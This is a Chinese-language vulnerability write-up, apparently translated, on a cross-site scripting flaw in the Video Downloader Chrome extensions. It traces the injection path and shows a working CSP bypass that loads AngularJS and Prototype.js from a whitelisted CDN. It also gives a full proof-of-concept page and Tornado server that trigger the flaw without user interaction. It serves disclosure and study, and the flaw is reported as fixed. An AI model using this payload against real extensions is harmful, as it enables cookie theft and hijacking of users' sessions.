影響1500萬用戶:Chrome擴充套件Video Downloader CSP繞過導致UXSS漏洞分析
概述
在對各種Chrome擴充套件程式進行安全審查的過程中,我發現有兩個流行的Chrome擴充套件程式Video Downloader(5.0.0.12版本,使用者數量820萬)和Video Downloader Plus(使用者數量730萬)在瀏覽器中存在跨站指令碼(XSS)漏洞頁面。攻擊者只需讓目標使用者訪問攻擊者特製的頁面,即可針對這些擴充套件實現漏洞利用。
導致此漏洞的原因是,擴充套件程式使用字串連線來構建HTML,該HTML通過jQuery動態附加到DOM。攻擊者可以建立一個特製的連結,這將導致在擴充套件的上下文中執行任意JavaScript。利用該漏洞,攻擊者可以濫用擴充套件程式可以訪問的如下許可權:
"permissions": [ "alarms", "contextMenus", "privacy", "storage", "cookies", "tabs", "unlimitedStorage", "webNavigation", "webRequest", "webRequestBlocking", "http://*/*", "https://*/*", "notifications" ],
利用上述許可權,攻擊者可以轉儲所有瀏覽器Cookie,攔截所有瀏覽器請求,並偽裝成經過身份驗證的使用者與所有站點進行通訊。此時,攻擊者已經具有如同本地擴充套件程式一樣的功能。
漏洞描述
這一漏洞的產生,主要源於以下程式碼中存在問題:
vd.createDownloadSection = function(videoData) { return '<li> \ <a href="' + videoData.url + '" target="_blank"></a> \ <div title="' + videoData.fileName + '">' + videoData.fileName + '</div> \ <a href="' + videoData.url + '" data-file-name="' + videoData.fileName + videoData.extension + '">Download - ' + Math.floor(videoData.size * 100 / 1024 / 1024) / 100 + ' MB</a>\ <div></div>\ </li>'; };
這是一段易受跨站指令碼攻擊(XSS)的程式碼,可以說是一段非常經典的“教科書級”漏洞程式碼示例。擴充套件程式從攻擊者控制的頁面上提取這些視訊連結,因此漏洞利用應該是非常簡單粗暴的。然而,現實世界中的情況要比“教科書”複雜得多。我們接下來,就詳細分析漏洞利用途中遇到的各種阻礙,並說明如何繞過這些障礙。我們將從輸入的位置開始,一路到達其最終函式。
通往勝利的道路
該擴充套件程式使用內容指令碼(Content Script)從頁面連結(<a>標籤)和視訊(<video>標籤)收集可能的視訊URL。內容指令碼是JavaScript程式碼段,執行在使用者瀏覽器訪問過的頁面上(也就是使用者訪問的每個頁面)。以下程式碼節選自擴充套件程式的內容指令碼:
vd.getVideoLinks = function(node) { // console.log(node); var videoLinks = []; $(node) .find('a') .each(function() { var link = $(this).attr('href'); var videoType = vd.getVideoType(link); if (videoType) { videoLinks.push({ url: link, fileName: vd.getLinkTitleFromNode($(this)), extension: '.' + videoType }); } }); $(node) .find('video') .each(function() { // console.log(this); var nodes = []; // console.log($(this).attr('src')); $(this).attr('src') ? nodes.push($(this)) : void 0; // console.log(nodes); $(this) .find('source') .each(function() { nodes.push($(this)); }); nodes.forEach(function(node) { var link = node.attr('src'); if (!link) { return; } var videoType = vd.getVideoType(link); videoLinks.push({ url: link, fileName: vd.getLinkTitleFromNode(node), extension: '.' + videoType }); }); }); return videoLinks; };
從上面的程式碼中可以看出,連結和視訊元素將會被迭代,並且在返回之前將資訊收集到videoLinks陣列中。我們控制的videoLinks元素屬性是url(從href屬性中提取)和fileName(通過獲取title屬性、alt屬性或節點的內部文字來提取)。
在這裡,會被函式vd.findVideoLinks呼叫:
vd.findVideoLinks = function(node) { var videoLinks = []; switch (window.location.host) { case 'vimeo.com': vd.sendVimeoVideoLinks(); break; case 'www.youtube.com': break; default: videoLinks = vd.getVideoLinks(node); } vd.sendVideoLinks(videoLinks); };
此呼叫發生在每個頁面的頁面載入初期:
vd.init = function() { vd.findVideoLinks(document.body); }; vd.init();
在獲得所有連結後,它們將通過vd.sendVideoLinks傳送到擴充套件程式的後臺頁面。下面是在擴充套件的後臺頁面中宣告的訊息偵聽器:
chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) { switch (request.message) { case 'add-video-links': if (typeof sender.tab === 'undefined') { break; } vd.addVideoLinks(request.videoLinks, sender.tab.id, sender.tab.url); break; case 'get-video-links': sendResponse(vd.getVideoLinksForTab(request.tabId)); break; case 'download-video-link': vd.downloadVideoLink(request.url, request.fileName); break; case 'show-youtube-warning': vd.showYoutubeWarning(); break; default: break; } });
我們重點關注其中的add-video-links選項,由於send.tab未定義,因此它會使用先前的視訊連結資料呼叫vd.addVideoLinks。以下是addVideoLinks的程式碼:
vd.addVideoLinks = function(videoLinks, tabId, tabUrl) { ...為保證簡潔,省略一部分程式碼... videoLinks.forEach(function(videoLink) { // console.log(videoLink); videoLink.fileName = vd.getFileName(videoLink.fileName); vd.addVideoLinkToTab(videoLink, tabId, tabUrl); }); };
上面的程式碼將會檢查它是否已經儲存了此tabld的連結資料。如果沒有,則會建立一個新物件。每條連結資料的fileName屬性都會通過vd.getFileName函式執行,該函式程式碼如下:
vd.getFileName = function(str) { // console.log(str); var regex = /[A-Za-z0-9()_ -]/; var escapedStr = ''; str = Array.from(str); str.forEach(function(char) { if (regex.test(char)) { escapedStr += char; } }); return escapedStr; };
由於上面的函式針對連結資料使用了fileName屬性,所以也就破壞了我們獲得DOM-XSS的機會。它會刪除任何與正則表示式[A-Za-z0-9()_ -]不匹配的字元,當然也包括可用於突破連線HTML中屬性的字元。
這樣一來,我們就只剩下url屬性,我們繼續。
videoLink將被髮送到vd.addVideoLinkToTab函式中,該函式如下:
vd.addVideoLinkToTab = function(videoLink, tabId, tabUrl) { ...trimmed for brevity... if (!videoLink.size) { console.log('Getting size from server for ' + videoLink.url); vd.getVideoDataFromServer(videoLink.url, function(videoData) { videoLink.size = videoData.size; vd.addVideoLinkToTabFinalStep(tabId, videoLink); }); } else { vd.addVideoLinkToTabFinalStep(tabId, videoLink); } };
該指令碼將檢查連結資料是否具有size屬性。在未設定大小的情況下,它通過vd.getVideoDataFromServer來獲取連結位置處檔案的大小:
vd.getVideoDataFromServer = function(url, callback) { var request = new XMLHttpRequest(); request.onreadystatechange = function() { if (request.readyState === 2) { callback({ mime: this.getResponseHeader('Content-Type'), size: this.getResponseHeader('Content-Length') }); request.abort(); } }; request.open('Get', url); request.send(); };
上面的程式碼只會觸發XMLHTTPRequest請求,以獲取指定連結上的檔案頭,並提取Content-Type和Content-Length頭部。資料將會返回,隨後Content-Length標頭的值被用於設定videoLinks元素的size屬性。在完成此操作後,結果將傳遞給vd.addVideoLinkToTabFinalStep:
vd.addVideoLinkToTabFinalStep = function(tabId, videoLink) { // console.log("Trying to add url "+ videoLink.url); if (!vd.isVideoLinkAlreadyAdded( vd.tabsData[tabId].videoLinks, videoLink.url ) && videoLink.size > 1024 && vd.isVideoUrl(videoLink.url) ) { vd.tabsData[tabId].videoLinks.push(videoLink); vd.updateExtensionIcon(tabId); } };
在這裡,我們開始遇到一些障礙。我們希望將URL附加到vd.tabsData[tabId]陣列,但只會在我們傳遞以下條件時發生:
!vd.isVideoLinkAlreadyAdded( vd.tabsData[tabId].videoLinks, videoLink.url ) && videoLink.size > 1024 && vd.isVideoUrl(videoLink.url)
vd.isVideoLinkAlreadyAdded是一個簡單的檢查,以檢視該URL是否已經記錄在vd.tabsData[tabId].videoLinks陣列中。第二項檢查是檢視videoLink.size是否大於1024。我們回想一下,這個值是來源於檢索到的Content-Length標頭。為了通過這裡的檢查,我們建立了一個基礎的Python Tornado伺服器,並建立了一個萬用字元路由,能夠返回足夠大的響應:
...為保證簡潔,省略一部分程式碼... def make_app(): return tornado.web.Application([ ...為保證簡潔,省略一部分程式碼... (r"/.*", WildcardHandler), ]) ...為保證簡潔,省略一部分程式碼... class WildcardHandler(tornado.web.RequestHandler): def get(self): self.set_header("Content-Type", "video/x-flv") self.write( ("A" * 2048 ) ) ...為保證簡潔,省略一部分程式碼...
現在,無論我們製作的連結是什麼,都總會路由到一個返回>1024位元組的頁面。因此,我們就通過了這個檢查。
下一個檢查,要求vd.isVideoUrl函式返回True,該函式的程式碼如下:
vd.videoFormats = { mp4: { type: 'mp4' }, flv: { type: 'flv' }, mov: { type: 'mov' }, webm: { type: 'webm' } }; vd.isVideoUrl = function(url) { var isVideoUrl = false; Object.keys(vd.videoFormats).some(function(format) { if (url.indexOf(format) != -1) { isVideoUrl = true; return true; } }); return isVideoUrl; };
這項檢查非常簡單,它只是檢查URL中是否包含mp4、flv、mov或webm。我們可以將.flv新增到我們URL Payload的末尾,來輕鬆繞過此檢查。
由於我們已經滿足了所有檢查條件,因此我們的URL將會附加到vd.tabsData[tabId].videoLinks陣列之中。
接下來,轉到核心易受攻擊函式的原始popus.js指令碼,我們可以看到如下內容:
$(document).ready(function() { var videoList = $("#video-list"); chrome.tabs.query({ active: true, currentWindow: true }, function(tabs) { console.log(tabs); vd.sendMessage({ message: 'get-video-links', tabId: tabs[0].id }, function(tabsData) { console.log(tabsData); if (tabsData.url.indexOf('youtube.com') != -1) { vd.sendMessage({ message: 'show-youtube-warning' }); return } var videoLinks = tabsData.videoLinks; console.log(videoLinks); if (videoLinks.length == 0) { $("#no-video-found").css('display', 'block'); videoList.css('display', 'none'); return } $("#no-video-found").css('display', 'none'); videoList.css('display', 'block'); videoLinks.forEach(function(videoLink) { videoList.append(vd.createDownloadSection(videoLink)); }) }); }); $('body').on('click', '.download-button', function(e) { e.preventDefault(); vd.sendMessage({ message: 'download-video-link', url: $(this).attr('href'), fileName: $(this).attr('data-file-name') }); }); });
如果單擊擴充套件程式的瀏覽器圖示,將會觸發上述程式碼。該擴充套件程式會在Chrome擴充套件程式API中查詢當前標籤的元資料。這個選項卡的ID是取自元資料,並且get-video-links呼叫將會發送到後臺頁面。這裡的程式碼僅僅是sendResponse(vd.getVideoLinksForTab(request.tabId));,將會返回我們上面所討論的視訊連結資料。
視訊連結將會被迭代,並將每個視訊連結傳遞給本文最開始所提到的vd.createDownloadSection函式。這樣一來,將會使用HTML連線來構建一個使用jQuery的.append()函式附加到DOM的大字串。將包含使用者輸入的原始HTML傳遞給append(),這就是一個經典的跨站指令碼(XSS)示例。
看來,我們可以完美地將自定義Payload傳遞到易受攻擊的函式。但是,現在慶祝還為時過早,我們還有另外一個需要克服的問題:內容安全策略(CSP)。
內容安全策略
有趣的是,該擴充套件的內容安全策略在其script-src指令中沒有不安全的eval。以下是擴充套件程式的摘錄:
script-src 'self' https://www.google-analytics.com https://ssl.google-analytics.com https://apis.google.com https://ajax.googleapis.com; style-src 'self' 'unsafe-inline' 'unsafe-eval'; connect-src *; object-src 'self'
從上面的內容安全策略(CSP)中,我們可以看到script-src如下:
script-src 'self' https://www.google-analytics.com https://ssl.google-analytics.com https://apis.google.com https://ajax.googleapis.com
該策略阻止我們引用任意網站,並禁止我們進行內聯JavaScript的宣告(例如:<script>alert('XSS')</script>)。我們執行JavaScript的唯一方法,就是要從以下的某個網站獲取資源:
https://www.google-analytics.com https://ssl.google-analytics.com https://apis.google.com https://ajax.googleapis.com
我們的目標是繞過CSP策略,並且我們在script-src指令中看到了https://apis.google.com和https://ajax.googleapis.com,這非常好。這些站點上面託管了許多JavaScript庫,以及JSONP終端,而這二者都可以用於繞過內容安全策略。
注意:如果想要檢視某個網站是否不適合新增到CSP中,可以使用由Google員工製作的CSP評估工具。
在這一方面,此前曾經開展過一個名為H5SC Minichallenge 3: "Sh*t, it's CSP!"的比賽,參賽者必須在一個只有白名單ajax.googeapis.com的頁面上實現XSS。這一挑戰與我們現在面臨的情況非常相似。
這場比賽中最佳的解決方案之一是使用以下Payload:
"ng-app ng-csp><base href=//ajax.googleapis.com/ajax/libs/><script src=angularjs/1.0.1/angular.js></script><script src=prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert(1337
下面的說明,引述自提出這一解決方案的參賽人員:
這個提交非常有趣,因為它濫用了將Prototype.js與AngularJS結合起來的效果。> AngularJS非常成功地禁用了其整合的沙箱訪問視窗。然而,Prototype.JS使用curry屬性擴充套件函式,在使用call()呼叫時返回一個視窗物件,AngularJS沒有注意到這一點。這意味著,我們可以使用Prototype.JS來獲取視窗>,並執行該物件的幾乎任意方法。
列入白名單的Google-CDN提供過時版本的AngularJS和Prototype.js,讓我們可以根據需要,訪問我們在視窗上操作所需的內容。並且,這裡並不需要使用者互動。
通過修改這一Payload,我們可以利用該擴充套件。下面是使用相同技術執行alert的Payload(在Chrome擴充套件程式中Video Downloader進行測試):
"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')\}\}<!—
下圖展示了在單擊副檔名圖示時,我們的Payload將會觸發:
我們現在就可以在擴充套件程式的上下文中執行任意JavaScript,並且可以濫用擴充套件程式可以訪問的任何Chrome擴充套件程式API。但是,這一過程還需要使用者在我們的頁面上單擊擴充套件圖示。在構建漏洞利用時,最好不要有任何弱點。因此,我們希望嘗試不需要使用者互動的方案。
回到manifest.json,我們可以看到web_accessible_resources指令已經被設定為以下內容:
"web_accessible_resources": [ "*" ]
僅使用萬用字元,這意味著任何網頁都可以使用<iframe>,並獲取擴充套件中包含的任何資源。在我們的示例中,我們要包含的資源是popup.html頁面,該頁面通常僅在使用者單擊擴充套件程式的圖示時顯示。通過iframing此頁面,以及使用我們之前編寫的Payload,我們可以實現無需使用者互動的漏洞利用:
最終Payload如下:
<!DOCTYPE html> <html> <body> <a href="https://"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')\}\}<!--.flv">test</a> <iframe src="about:blank" id="poc"></iframe> <script> setTimeout(function() { document.getElementById( "poc" ).setAttribute( "src", "chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html" ); }, 1000); </script> </body> </html>
具體而言,這分為兩部分。第一部分是為當前選項卡設定videoLinks陣列。第二部分是在1秒後觸發並生成iframe chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html(彈出頁面)的位置。最終的概念證明如下:
import tornado.ioloop import tornado.web class MainHandler(tornado.web.RequestHandler): def get(self): self.write(""" <!DOCTYPE html> <html> <body> <a href="https://"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')\}\}<!--.flv">test</a> <iframe src="about:blank" id="poc"></iframe> <script> setTimeout(function() { document.getElementById( "poc" ).setAttribute( "src", "chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html" ); }, 1000); </script> </body> </html> """) class WildcardHandler(tornado.web.RequestHandler): def get(self): self.set_header("Content-Type", "video/x-flv") self.write( ("A" * 2048 ) ) def make_app(): return tornado.web.Application([ (r"/", MainHandler), (r"/.*", WildcardHandler), ]) if __name__ == "__main__": app = make_app() app.listen(8888) tornado.ioloop.IOLoop.current().start()
漏洞披露與修復
由於在擴充套件程式中,沒有顯示出開發者的聯絡方式,因此我聯絡了一些Google負責Chrome擴充套件程式安全性的人員。他們將通知擴充套件的開發者,並努力確保他們對擴充套件進行修復。這兩個擴充套件的最新版本都已經不存在此漏洞。我們在釋出此篇文章之前,還為每個使用者預留了補丁釋出後安裝更新的時間,需要提醒使用者務必關注補丁並及時更新。
如果大家有任何問題或意見,請隨時 與我聯絡 。如果您想要查詢一些Chrome擴張程式的漏洞,可以使用我自己編寫的掃描程式,以幫助您入門( 原始碼 )。如果您想要閱讀關於Chrome擴充套件程式安全性的指南,可以參考 《安全編碼和審計Chrome擴充套件程式指南》 。